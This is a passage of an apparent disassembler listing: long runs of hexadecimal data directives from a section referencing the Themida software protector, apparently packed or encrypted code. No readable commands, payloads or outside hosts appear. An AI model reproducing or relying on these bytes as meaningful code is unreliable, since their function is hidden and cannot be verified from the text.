		dd 0DE48C97Ch, 437AA67h, 0A81F7DE1h, 86518EAEh,	1BD4F2E3h
		dd 0B4678C86h, 0B3A39A35h, 0BEDF5B43h, 0EB5E898Bh, 6D963C2h
		dd 9BB344BDh, 5BA4E14Fh, 0AA788980h, 0A170C337h, 399F42A9h
		dd 70846813h, 2DBDC4F0h, 9236047Dh, 248FDD32h, 82942B47h
		dd 0FBA945Dh, 2F2FC633h, 0CFCC2784h, 7FE73B2h, 21C21DE4h
		dd 0C6B81F41h, 172F2FC6h, 0D66958Ah, 0E021500Eh, 140CA3BFh
		dd 0B6B50ED3h, 622D1B7Bh, 1D8C7FBCh, 79A714B1h,	0DCF4FDF4h
		dd 0B4D703FDh, 46FF5E68h, 6788851Ch, 635249AAh,	0E6DE63FEh
		dd 6FE911Eh, 4B7626E5h,	6649AAC9h, 8AE3350Ch, 4DA66B88h
		dd 8481EBA6h, 5D50427Ch, 0CB2BE083h, 53BA6C14h,	4BEED453h
		dd 9D2D1877h, 0C953E4C8h, 0E900C435h, 0E18918Ah, 54086AC0h
		dd 0C53D5B51h, 43D46BA1h, 587A551Ch, 19D30DF1h,	0F6F55EC2h
		dd 3451046h, 4B70A653h,	0D955EC46h, 5BBCE596h, 0D2505D24h
		dd 4FF6CC95h, 5BFEE4E1h, 0FFAA6534h, 9D131CFDh,	4D237D1h
		dd 4BACD10Bh, 0F9772784h, 9534F7D1h, 7873AF1Ah,	90837E9h
		dd 557DA274h, 1AF2CC7Bh, 0E843C21Ah, 0FF165E33h, 0FDBB5DD9h
		dd 7AEA7C5Ch, 85A65F83h, 23C0237Ch, 3568646Bh, 94B8B083h
		dd 45A71D5Dh, 24A556B7h, 28D73588h, 8AE269Bh, 6F5BC37Dh
		dd 4C3F60A0h, 3EBh, 0FAC95000h,	16DB181Bh, 0A8698A8Bh
		dd 1AD71815h, 0A9688B87h, 14DD0214h, 0A9689789h, 16DB1C14h
		dd 0AA67948Bh, 1BD61D17h, 35F46865h, 0A3E907E0h, 21FFF619h
		dd 16EBh, 4 dup(0)
		dd 1010000h, 484h, 6A07E0h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 45477CC3h, 0ACADB1D9h
		dd 159D8943h, 9007D31Dh, 16800Fh, 11E90000h, 5D000000h
		dd 0DEF3D29Ah, 6FAE907Dh, 0C0B55857h, 149D269Bh, 0BE850h
		dd 645E0000h, 0B2E598B6h, 8551B4D0h, 5AE5B1CCh,	53006A90h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 42515BF8h, 6AF88B66h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 81662C8Bh, 6A0752D1h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 9C956C0h, 0D320DD85h, 31858D07h,	6A07E084h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 0B427C351h, 0BE8h, 0D266A100h, 8F7DB727h
		dd 0D8F31470h, 6860Fh, 8B0F0000h, 0
		dd 0E181665Ah, 0F50DE80h, 0D87h, 8E900h, 0A0460000h, 77A80216h
		dd 489B98Ch, 50006A24h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1904h, 0C3504000h, 940E593Ah, 8589E3B3h, 7D305FDh, 6A006Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 0A6AADFC3h, 2228593Ch, 6AE9B3h, 0E856006Ah
		db 3
byte_6A1A89	db 3 dup(0)		; DATA XREF: Themida_:00666080o
		dd 5EC35E20h, 4247489h,	4244481h, 1Ah, 0BFC35646h, 0F39A245Ah
		dd 9D89DF86h, 7D32751h,	2F4D95FFh, 6A07D3h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0E9FC67C3h
		dd 5DAh, 191DBD29h, 0E807D3h, 5D000000h, 8436ED81h, 0C88B07E0h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 35C35141h
		dd 6673B013h, 826B61CCh, 8F0F39h, 68000000h, 0FFBDF0BFh
		dd 481CF8Bh, 421EE124h,	0FD958900h, 0FF07D309h,	0D3301995h
		dd 50006A07h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 8B8A9059h, 0D313A58Dh, 41858907h, 8D07D32Dh
		dd 0E0824DB5h, 79BD8B07h, 0E807D314h, 0Ch, 52250A71h, 3788A776h
		dd 0A769BF87h, 1FC99D29h, 0C75F07D3h, 67655206h, 0F60576Dh
		dd 8Ah,	5F61F800h, 13E9h, 0E9681500h, 55D29C04h, 18A68EBDh
		dd 0B1AAF083h, 0A87EEED8h, 6F0446C7h, 6A6C636Eh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 62D7C350h, 2B759589h, 46C707D3h, 73736108h, 6AF500h
		dd 18CECB81h, 858D0319h, 7E0824Dh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 64C35747h, 0FCEE780h, 68Eh
		dd 95B58900h, 9007D32Ch, 0DE8h,	0C327AE00h, 76D0E4CEh
		dd 7E233955h, 0E9B5DD8Bh, 0EE8505Fh, 0F7000000h, 7CB6D0A4h
		dd 0EA802F50h, 0A473CE58h, 28E0F4Ch, 60000000h,	6A905A61h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 0F23DC357h, 11C202A0h, 8D89B2E2h,	7D31D79h
		dd 14195FFh, 6A07D3h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 0B272E4C3h, 8D337087h, 7D32711h
		dd 840FC00Bh, 4Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 86C35646h, 39EE9A3h, 6A0000h,	3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 23C96CC3h, 997B04CEh, 0BD898E46h, 7D33119h, 68CE8B66h
		dd 8FA63551h, 0AE9h, 0F2033900h, 970C1F36h, 81BE2A94h
		dd 0CBDB2404h, 6A7059h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 0A64F72C3h, 49BD894Fh, 0FF07D31Ch
		dd 0D3301995h, 56006A07h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 0F05F6275h, 91F37BF6h
		dd 8D899AD3h, 7D33189h,	824DB58Dh, 0B52907E0h, 7D32619h
		dd 383106C7h, 95013634h, 7D300BDh, 1F25958Bh, 46C707D3h
		dd 342D3704h, 0C7D78B31h, 846h,	0BD8B0000h, 7D32FA5h, 9D89006Ah
		dd 7D3208Dh, 824D858Dh,	6A07E0h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 0CFFB84C3h, 24D59589h
		dd 9D8B07D3h, 7D31511h,	0E8F0F90h, 50000000h, 0F525052h
		dd 0F585A31h, 5A616031h, 0FCB15058h, 51006A90h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 39F45F46h
		dd 7B08446Ch, 0CAB70FDDh, 0FFFA8B66h, 0D3014195h, 56006A07h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 860E5B6Fh, 549B1E8Ch, 5820F17h, 0BA000000h, 1E4FC12Dh
		dd 30B19D89h, 0C00B07D3h, 47840Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 0E57FE2C3h
		dd 0E9E9534Fh, 6A000001h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 352C350h, 0D31239BDh
		dd 0B8D06807h, 9E9FEEAh, 16000000h, 3A4CDB0Eh, 0FAA5A820h
		dd 5C240481h, 6A011548h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 5044C350h, 45958927h
		dd 0B307D329h, 1995FF87h, 8D07D330h, 0E0824DB5h, 56006A07h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 6F139AC4h, 0DBD7A22h, 0C7D08B62h, 6C694606h,	0DA816665h
		dd 46C7EAA5h, 6E6F6D04h, 10E963h, 0B9580000h, 92025079h
		dd 8B630DA4h, 2A5011C0h, 46C75B42h, 73616C08h, 0CB816673h
		dd 46C7F520h, 0Ch, 50006A00h, 3E8h, 0C3582000h,	24448958h
		dd 24448104h, 1604h, 0C3504000h, 6664578Bh, 0F69BC381h
		dd 1A75B529h, 6A07D3h, 0D19D8957h, 5F07D30Ch, 824D858Dh
		dd 6A07E0h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 4EF65DC3h, 0D725D152h, 1CC19D29h,	8D8B07D3h
		dd 7D31A2Dh, 52506090h,	310FCB8Bh, 310F5250h, 585A585Ah
		dd 0FE8h, 9659000h, 9D24F3A0h, 576C929Ah, 0B62DB54Fh, 615E5956h
		dd 0BA665250h, 905AFE98h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 5AC35747h, 16014453h,	0C1A7F5F1h, 1EBD9531h
		dd 95FF07D3h, 7D30141h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 9FC35747h, 8B3C4A76h,	0D31C858Dh, 0FC00B07h
		dd 1C84h, 25858900h, 6607D301h,	19E9CE8Bh, 57000000h, 12598D89h
		dd 295A07D3h, 0D332799Dh, 0FA80E907h, 0BD8BFFFFh, 7D32A49h
		dd 7098B58Dh, 9E807D3h,	35000000h, 600CFAC2h, 750940F5h
		dd 99BD8960h, 8B07D301h, 0D30A45BDh, 0B85A6107h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0D1C35646h
		dd 598C97D4h, 0FF59D758h, 0C18BF5E6h, 12E8h, 0D2C03600h
		dd 0F75879F1h, 0D51FD58Dh, 0FB6C76A9h, 0FC22C17h, 283h
		dd 5FABB000h, 0FE9h, 72D1C900h,	15ED889Dh, 535D8705h, 0EB4987B1h
		dd 6287C781h, 8B0F0000h, 6, 5FD8D89h, 0B5B907D3h, 8167F219h
		dd 0F2014EE9h, 10E96067h, 72000000h, 71C5F57Fh,	51B89698h
		dd 519C9901h, 96B259Dh,	0D32611BDh, 37FF6107h, 81D68B5Eh
		dd 3C0F44C6h, 0EE81F836h, 5878CF4Ah, 0E532C681h, 11E9231Ch
		dd 6F000000h, 64187145h, 0A35E1FB8h, 52109AEBh,	2E2F5EF3h
		dd 0F99D8B56h, 8F07D31Eh, 6810F07h, 9000000h, 0D30DC18Dh
		dd 1EF8307h, 4FC0B70Fh,	0B5294F4Fh, 7D3148Dh, 1D850F49h
		dd 66000000h, 7D17C881h, 23E9h,	4F050D00h, 8CE125F3h, 44966C43h
		dd 0ECBD939Ah, 0CB15D35Ah, 32D1858Bh, 7FE907D3h, 0E6FFFFFFh
		dd 86DD4941h, 2FE9h, 28BD500h, 46h, 0Ah	dup(0)
		dd 657E9h, 0CD73ED00h, 1147A4D9h, 0CC0AF095h, 123CA5DAh
		dd 0C872EB94h, 0F29980DEh, 0C0C5C16Bh, 0F38CFA24h, 0BCC1C56Fh
		dd 0A689FD23h, 0D1DC72EFh, 0B8677604h, 98462114h, 4BF3B1DDh
		dd 0A4019E7h, 0DD6A80h,	4C17B0D6h, 0AF0C36AAh, 0AB510ABBh
		dd 4BAD4BFh, 98990A18h,	0A6854248h, 7EB1600Ah, 9FE5F68Bh
		dd 0E4DB8CA2h, 0B7E4B771h, 0F39A9BEh, 9ECC9E5Bh, 89042984h
		dd 517630DEh, 863F6791h, 5E6530DAh, 46F35785h, 266F2644h
		dd 0E4DB153Bh, 0D5D2E71h, 0C882AC38h, 12939E1Fh, 0B5D1A44Eh
		dd 8C557634h, 7DE03062h, 0F51BC4E3h, 0A6C475h, 0D8E51CC7h
		dd 0E472D940h, 40DDD566h, 0D4762573h, 2DA0CBCDh, 0F7CD0C82h
		dd 0CF4AD207h, 0D2B4EC33h, 53DEEFB8h, 6B2A847Eh, 799FDDh
		dd 0EF1B0000h, 6CDE08D8h, 0BFDC06DBh, 95D503E8h, 26C186E4h
		dd 0F34F52F8h, 34934FA3h, 0E18D9163h, 59BE5DF8h, 703B9020h
		dd 101D05Dh, 1E9F6AC0h,	0Ah, 993A4B67h,	0F4A6255Ah, 3A21B696h
		dd 3219AE9Ch, 6CCAD1A4h, 0C146A4E6h, 0B354F620h, 0C045052Fh
		dd 0B3210725h, 75C86208h, 889E9BC8h, 0BB71E45Ah, 1C8FD3E8h
		dd 21B79411h, 91842E65h, 98C323EDh, 0EE794E1Ch,	21464640h
		dd 17B09A44h, 29A8A230h, 75F0ADD0h, 39A2DBCBh, 61FD8213h
		dd 0A560CAEh, 4F6CE1BDh, 0DE0C5E1Bh, 0D595C329h, 0E486B030h
		dd 0DC8EC423h, 0DD8DB72Bh, 0E78A6B1Ch, 88B5489Ah, 4790AFDBh
		dd 752DC288h, 8CA65C15h, 8CC17E41h, 1000000h, 0A4914421h
		dd 0EE4BD83Dh, 38CD7D1Eh, 0DCC684D2h, 4E1DC61h,	0E6D57FE6h
		dd 0AB4918AFh, 0B8B20933h, 8BD6703h, 0DCB7B35Dh, 79F11BC7h
		dd 441DAAC0h, 1CC4DB9Ah, 0F05298F2h, 31E1F07Dh,	157E41BAh
		dd 4129D38Eh, 7E3CF278h, 41000000h, 55FFE925h, 882ABD55h
		dd 3C9601ECh, 53F79324h, 0DAB3C3EFh, 2F8216C3h,	49F36A5Bh
		dd 52FC6421h, 62B9218h,	572BDE87h, 0E86ECC57h, 0E9B9BACAh
		dd 20BCC3D2h, 0E3659CF6h, 5982E8A7h, 0EF6F1311h, 89E10FD8h
		dd 7CF95FBCh, 0B6D47EE7h, 0CF74ADB4h, 16ADEA30h, 5306D401h
		dd 0DC493FC6h, 0DAF3BC63h, 0C3808257h, 0CB828448h, 1CAAF84Eh
		dd 0BBAF4B88h, 0B63BB37Eh, 29038734h, 1, 773B2169h, 0E45AA48Ah
		dd 0AF0C9F71h, 0A491D8BBh, 71E45A82h, 0BAA7EEC1h, 71E45A94h
		dd 0B98EDCAFh, 9D4A002Eh, 0D08696B0h, 435388D4h, 0ECA9D427h
		dd 78DEC80Eh, 0AB96DFBBh, 65DD8970h, 2D46FBBDh,	72EB7036h
		dd 91D9A2C8h, 0FF458792h, 9FBE9E40h, 0FFD57BE6h, 9D6EDE50h
		dd 0EAD570Ah, 0A30AB5Ch, 0D278E39Ch, 730D8998h,	0A3E6138Ch
		dd 1E38729Bh, 2D03FE37h, 163B44DBh, 0EBA90D85h,	54105FE5h
		dd 0B4322B36h, 662F3287h, 72A55FBh, 581DEE21h, 72A4BDDh
		dd 6327F821h, 2A57A608h, 4B4AF06Bh, 2681CE1Fh, 0D24487D6h
		dd 0CEAFE4D4h, 4B59318Ah, 438A6600h, 872BD58Dh,	9AF0013Fh
		dd 5E0C32ADh, 5A103EA9h, 5E0C32ADh, 57133DA9h, 90192473h
		dd 62FB8041h, 0A1E992B8h, 8D5657DAh, 0C8CA275Fh, 0E32D5DDBh
		dd 1C5h, 0DD8EFDFh, 0E00DAFE3h,	11315C05h, 0F2CE9B79h
		dd 50A3B6A3h, 0AC740899h, 0F3E87859h, 840884C6h, 0C0A02775h
		dd 26D09116h, 4B500964h, 42EC7896h, 22487308h, 0A815050h
		dd 0E0BB8E0Ch, 9AD0638Ah, 0C9CC72EDh, 65052FB2h, 0AF5D06BFh
		dd 9CB2AFE6h, 0A776370Ah, 0A1747614h, 0D4963C1Ah, 88C268F3h
		dd 108DB009h, 0D7ECA957h, 9B89E10Bh, 1533ABB0h,	71F9A24Ch
		dd 6E6F0200h, 911D76h, 0F09D0000h, 96B0C5A5h, 6E43381h
		dd 0A174E2D0h, 0E15C3753h, 0F895F749h, 2CAA9116h, 0F2ED7D3Eh
		dd 393FC77Ah, 0DF75D2E9h, 0ED435E8Bh, 566C86BFh, 0BD5F089Fh
		dd 0A754F620h, 0DF9C5614h, 0B2C2215Bh, 0FFEE7C1Fh, 50573E2Ch
		dd 37046690h, 37722C33h, 91B5D4D5h, 0E698DBD5h,	9F4918AFh
		dd 0DCD894CBh, 384F428Ah, 3FE684D2h, 81F37E4Dh,	0AEABEACAh
		dd 74B43FD8h, 0BF193B5Fh, 2D9D88A9h, 12ECC4DCh,	819B445Bh
		dd 661337E1h, 65363555h, 0B74921h, 0F0790000h, 53CEC7A3h
		dd 0E70D23A6h, 0C6EA7713h, 8032A087h, 95F57052h, 0E7122F4Ah
		dd 8651CCAEh, 0F353E686h, 2347F16Ch, 10111456h,	0C23FF67Fh
		dd 8BC0F66Ch, 442644D7h, 7432D883h, 6A904Bh, 0CCCC7FE1h
		dd 31F4B88Ah, 0EC735794h, 0E69FCB75h, 9EECCF7Dh, 535B624Fh
		dd 4CDE9BC0h, 96514CF1h, 1B583E68h, 89CB363Fh, 0E66C5755h
		dd 0AA533131h, 1DC89190h, 220BACD3h, 0D958EE6Bh, 18EBB0ACh
		dd 0A53EC783h, 0A312D377h, 0C9A5EE9Eh, 873E51CCh, 0E2ABA97Eh
		dd 7E77D177h, 0C9A172C6h, 9A98396h, 2B756047h, 0A0D28DE4h
		dd 0DE973D1Bh, 0CDEACD63h, 0C5A576D8h, 0CABC4FDEh, 0C7A3F0BAh
		dd 403D53CEh, 2E7AE09Ah, 0ADF0F0FCh, 0DC06DFE4h, 8FCB538Eh
		dd 470E37CFh, 689D082Bh, 387F394h, 923317E8h, 5A6323C9h
		dd 66C83581h, 0DDA7EF4Fh, 1AF9714Ah, 5733DD85h,	3557F008h
		dd 67436F4Dh, 0BEAE7763h, 0B076A236h, 0FBA0539Dh, 1E52706Fh
		dd 0ECD95F0Bh, 0AA1BBA2Dh, 0A24C15AAh, 0DE70EDA8h, 65321339h
		dd 0BE68F5D2h, 1A27968Ch, 0D558D38Fh, 0A5E10FD8h, 0B1994720h
		dd 0A7A34D14h, 3DA5431Eh, 5C2A813h, 0D1B9B127h,	75327F02h
		dd 0F98EFD80h, 1FA8C26Ch, 0D7F09644h, 1097DE0Ch, 0B0968357h
		dd 93321339h, 99CF9B00h, 399h, 15B70900h, 0B1994721h, 0A5A54B14h
		dd 0B4964020h, 0A9A14B13h, 0B397411Ch, 0A9A14B12h, 0AF9B451Ch
		dd 0A8A23016h, 0B09A381Fh, 4E986848h, 14890000h, 5D216824h
		dd 4890000h, 0E6895624h, 4C681h, 0EE830000h, 24348704h
		dd 242C895Ch, 32F1BF57h, 0F889337Fh, 3E0C15Fh, 0E6F3AC05h
		dd 2C8B546Bh, 4C48324h,	1E5668h, 24048900h, 0FF08458Fh
		dd 815D2434h, 4C4h, 2434FF00h, 4C48158h, 0E9000000h, 0FFF6D05Fh
		dd 0A58DC7A6h, 0C7F6A4CDh, 6618135Dh, 0E09120B8h, 0FFC50307h
		dd 0B10B03E0h, 245C3E4Bh, 1EC0F37Eh, 0A0D8EA72h, 475EE96Fh
		dd 0BAE2B65Ch, 1D50CB7Fh, 0F648F265h, 0A421EE10h, 0E3D39076h
		dd 0F0E0090Fh, 5F912540h, 0DDCAFE11h, 52A83B8Bh, 188A7F00h
		dd 0ABA83B88h, 0F075EAD5h, 58A83B88h, 0BA8A7F01h, 3557AE5Dh
		dd 0E08A7F01h, 0ABA83B89h, 0AB75EAD5h, 7BA83B89h, 358A7F06h
		dd 0E5A83B8Eh, 0AF8A7F06h, 0ABA83B8Eh, 2575EAD5h, 0C647D42Fh
		dd 0C00312CAh, 5348C064h, 0D6D790A7h, 0D1215642h, 426A84E0h
		dd 0C71CD42Fh, 0C00312CAh, 5348C06Ch, 0D18690A7h, 0D1215642h
		dd 426A84FCh, 0C0CBD42Fh, 0C00312CAh, 5348C078h, 0D13290A7h
		dd 0D1215642h, 426A84C8h, 0C054D42Fh, 0C00312CAh, 5348C044h
		dd 0D0CF90A7h, 0D1215642h, 426A84C4h, 0C12ED42Fh, 0C00312CAh
		dd 5348C050h, 0D04D90A7h, 0D1215642h, 426A84DCh, 0C2A0D42Fh
		dd 0C00312CAh, 5348C058h, 0D3CB90A7h, 0D1215642h, 426A84D4h
		dd 5012B8C3h, 0CEDF152Ah, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h
		dd 0A518BCC0h, 0A8ED96A5h, 458A152Ah, 67A02429h, 0BAB496E3h
		dd 54A1D5ADh, 0C6CB152Ah, 0BA415564h, 0CE75EAD5h, 0CD3AAE63h
		dd 848DC61Eh, 11AB5342h, 55FFEA22h, 0ABA4245Dh,	0B9CF9C3Ah
		dd 0A8EDDAC3h, 4586D7E3h, 0D744DAF7h, 0CEEAE9EEh, 292359D7h
		dd 0B9CFD226h, 54A851A2h, 4162AD6Ch, 660351A2h,	0EE27BFEAh
		dd 0CD2CDB2Fh, 947512CAh, 0D9020112h, 0A51391A0h, 0EC79AEA5h
		dd 41AE51A1h, 0D022DC09h, 0BA8DF5B3h
		dd 0DF103773h, 0C821732Ah, 0B431D528h, 0FD5BEA2Dh, 508C152Bh
		dd 0C1009881h, 0ABAFB13Bh, 0EFD2A5FBh, 0DDA42C89h, 0CEEBE957h
		dd 9661ADE7h, 0CEDF1522h, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h
		dd 0A5197CC0h, 5CDDDAA5h, 828668A1h, 54A8ADE7h,	0BACC152Ah
		dd 87AE4030h, 0CE529E2Dh, 9783FC69h, 0EFE2A5B9h, 0D9F9FA31h
		dd 0A51391A0h, 0D79AEA5h, 2320949Ah, 328C551Ah,	6E218481h
		dd 29215DDFh, 174D6h, 5C6A985Eh, 0A901402Ah, 34549521h
		dd 458A15C2h, 0BE290BA2h, 426A86EAh, 0DFA02429h, 4D1957h
		dd 54A8515Eh, 0D775532Ah, 537B57B3h, 0CE19CDA1h, 979BFC69h
		dd 0EFE2A5B9h, 0D9F9FA31h, 0A51391A0h, 0D79AEA5h, 2320949Ah
		dd 328C651Ah, 6E218481h, 29215DDFh, 174D6h, 5C6A985Eh
		dd 0A901402Ah, 34549521h, 0CE8260A1h, 116F5DDFh, 458A15D6h
		dd 953BFDA2h, 97B91DC9h, 0DE049191h, 454A38F2h,	0A82851A2h
		dd 5E0E1AD5h, 0EDA851A2h, 458A1523h, 862DA055h,	45869025h
		dd 0A32851A2h, 8E4B7332h, 972337AAh, 38A1BE4Ch,	0A8D5D8AEh
		dd 0B9CF9E4Bh, 54A0936Bh, 0C6669E7Fh, 0DFC8AD66h, 38011D5Fh
		dd 0A8ED96AEh, 458A152Ah, 0B769C20Eh, 76582622h, 8C22FD62h
		dd 458AD507h, 0AB54D1A2h, 45939125h, 5D1151A2h,	0B28A152Ah
		dd 5B7AD453h, 458A1FAFh, 5610E0A2h, 0EF4B93E2h,	7F039191h
		dd 38031957h, 1123305Eh, 4D48DCD6h, 0B82304A2h,	2576D1A9h
		dd 0DFA02429h, 4D1957h,	54A8515Eh, 9D00B92Ah, 0D4A7B222h
		dd 860085E1h, 0D022DC08h, 0BA8DF5B3h, 0FEF8E173h, 0DC0E9FA7h
		dd 85575642h, 6E20D6A0h, 29215DDFh, 174D6h, 5C6A985Eh
		dd 0A901402Ah, 34549521h, 0CE8260A1h, 116F5DDFh, 458A15D6h
		dd 54AFE9A2h, 0D775152Ah, 537B653Bh, 0C8204526h, 0B431D528h
		dd 0F55BEA2Dh, 949BFB2Bh, 2E853186h, 50AC5962h,	0EFAEA580h
		dd 0DDA42C89h, 0CEEBE957h, 9661ADE7h, 0CEDF1522h, 0A86CD24Eh
		dd 4DFF9E4Ah, 93A42C29h, 458AE96Fh, 0FE0451A2h,	439B87D5h
		dd 8C235671h, 0EF491786h, 0CD2CDB2Fh, 947512CAh, 0BD28E9C4h
		dd 8600BE4Ch, 58D57A08h, 247668A3h, 9D541429h, 108A1DE8h
		dd 902BBD29h, 300175D6h, 58D5DAAAh, 457650EDh, 0F8A851A2h
		dd 5418EA80h, 0DFAF82A4h, 8558B9E2h, 0D032DC08h, 0BA8DF5B3h
		dd 94103771h, 0CF2173E3h, 2983FB63h, 0B9F79C26h, 0A8EDDAC3h
		dd 4582D7E3h, 0D744DAF7h, 0CEEAE9EEh, 292359D7h, 0B9CFD226h
		dd 54A851A2h, 0D775BF86h, 537B57B3h, 7726DDA1h,	0CE25FB63h
		dd 426A8CAEh, 0ECCE825Dh, 0EEECE4AAh, 7F029028h, 38031957h
		dd 1123305Eh, 4D48DCD6h, 0B82304A2h, 2576D1A9h,	0DFA02429h
		dd 4D1957h, 54A8515Eh, 7732732Ah, 0D903376Bh, 0A51391B0h
		dd 327BAEA5h, 234B9592h, 0FE04FD09h, 0CC866801h, 0DFC9ADDFh
		dd 8743E96Fh, 0DFFD51AAh, 0B94E96C6h, 5CDDDAC2h, 828668A1h
		dd 54A8ADE7h, 0FDEC152Ah, 0FFCEB824h, 0DC0E8FA7h, 87575642h
		dd 320A09Ah, 0CE25FB0Eh, 426A8CAEh, 0ECCE825Dh,	0EEECD8ACh
		dd 0DDA42C89h, 0CEEBE957h, 9661ADE7h, 0CEDF1522h, 0A86CD24Eh
		dd 458AFD4Ah, 0D5F251A2h, 0A51C84C0h, 0A8ED96A5h, 458A152Ah
		dd 0DFA02429h, 79261957h, 1E2C5E91h, 798A152Ah,	162C5E89h
		dd 798A152Ah, 492C5ECAh, 798A152Ah, 382C5E13h, 798A152Ah
		dd 5C2A5EF2h, 798A152Ah, 6B2A5EFAh, 0AC8A152Ah,	54A851D6h
		dd 0BA8660D5h, 0CE2559D7h, 426A84ECh, 0C932DCF1h, 0BA8DF5B8h
		dd 0A8EDD871h, 458A42C3h, 58DDAEA2h, 0C88260D5h, 0B4398738h
		dd 0DF07462Dh, 5348C33Fh, 3C6D5h, 5492B85Eh, 3075152Ah
		dd 5CDDAEAEh, 0D4688FA7h, 0D9FB5642h, 0A51888B0h, 0DD7BAEA5h
		dd 5863E96Fh, 0ABA851A2h, 3075195Fh, 0BA32DCAAh, 168DF5BBh
		dd 0C635CB2Fh, 967512CAh, 0BD54142Bh, 458A152Ah, 0A8EDDAC3h
		dd 4582D7E3h, 3044BAh, 2AE900h,	4C70000h, 24h, 0E800h
		dd 815D0000h, 0E0976DEDh, 24448B07h, 9858904h, 0B807D300h
		dd 0
		dd 4DB18D8Dh, 0E1FF07D3h, 6754B8h, 3BE900h, 8B600000h
		dd 0D307D5BDh, 4EF8307h, 0C18BC933h, 0B88320BBh, 4C783EDh
		dd 8BEh, 1BE8D100h, 33D323D2h, 850F4EC2h, 0FFFFFFF1h, 81078941h
		dd 100F9h, 0D3820F00h, 61FFFFFFh, 55C88BC3h, 5E75FDEDh
		dd 0A476F67Ah, 0BC56E669h, 0F9DCFD49h, 0D732FD10h, 0C073FD10h
		dd 49D1FD10h, 8CC3FD10h, 6EB9FD10h, 1F86FD10h, 0A667FD10h
		dd 0FA52FD10h, 0D499FD10h, 0C056FD10h, 4BCBFD10h, 8D14FD10h
		dd 6FF5FD10h, 1ED6FD10h, 0A592FD10h, 0F9E6FD10h, 259DFD10h
		dd 2295358Ah, 4A76D6A2h, 0BD5CDE71h, 5A5CF44Bh,	2775FD7Ah
		dd 9775F572h, 0CB74FD79h, 0ED73FD78h, 0F374F57Dh, 7874FC7Bh
		dd 0BC75FC7Bh, 5E75FD7Ah, 9F76FD7Ah, 3975942Ch,	0CB75942Dh
		dd 0E475FD7Ah, 0F374FC7Bh, 9074FC7Bh, 0BC75F8B2h, 0B4F0701Ah
		dd 0A6721DE1h, 77EDDCFFh, 0CBF0707Dh, 6C721DE6h, 12E21CFFh
		dd 47F0707Dh, 35721DE6h, 0BEEDE0FFh, 0B1F0707Dh, 1E721DE1h
		dd 2BE218FFh, 0B8F0707Dh, 7B721DE1h, 99E214FFh,	47F0707Dh
		dd 0D7721DE3h, 0CFE210FFh, 9AF0707Dh, 42721DE0h, 5E20CFFh
		dd 0D1F0707Dh, 0F0721DE0h, 5CE208FFh, 20F0707Dh, 0A6721DE0h
		dd 77EDFCFFh, 81F0707Dh, 6C721DE0h, 12E204FFh, 10F0707Dh
		dd 35721DE0h, 0BEE200FFh, 51F0707Dh, 1E721DE0h,	2BEDFCFFh
		dd 5DF0707Dh, 7B721DE0h, 99EDECFFh, 6BF0707Dh, 0D7721DE0h
		dd 0CFEDE8FFh, 6DF0707Dh, 42721DE0h, 5EDE4FFh, 0B1F0707Dh
		dd 0F0721DE1h, 5CEDF8FFh, 24F0707Dh, 0A6721DE1h, 77EDF4FFh
		dd 0DEF0707Dh, 6C721DE6h, 12EDF0FFh, 68F0767Dh,	35722E7Ch
		dd 0BEEDA7FFh, 0B6F0767Dh, 1E722E4Eh, 2BEDA3FFh, 0B0B69C7Dh
		dd 0F29D11F1h, 2375FD7Ah, 251B17FBh, 0D525FA9Ah, 0ADFDF53Fh
		dd 90956523h, 0CFB73422h, 0B723AC7Ah, 1A20AD29h, 7975FD7Ah
		dd 33987C27h, 0A0721DE3h, 0CFE21DFFh, 77C87D7Dh, 0CF721DEDh
		dd 0E4C5B409h, 0F9B54B75h, 863589BAh, 5CEDA3EFh, 96FEBD7Dh
		dd 2F7A452Bh, 28AFD7Ah,	0CC956524h, 729448F7h, 0C6F8FA9Ah
		dd 4B9D50FCh, 0CF75FD7Eh, 5E76456Fh, 0BA8AFD7Ah, 90956524h
		dd 5C9448F7h, 0D1F8FA9Ah, 228A50FCh, 87BC1F23h,	5CE21DF7h
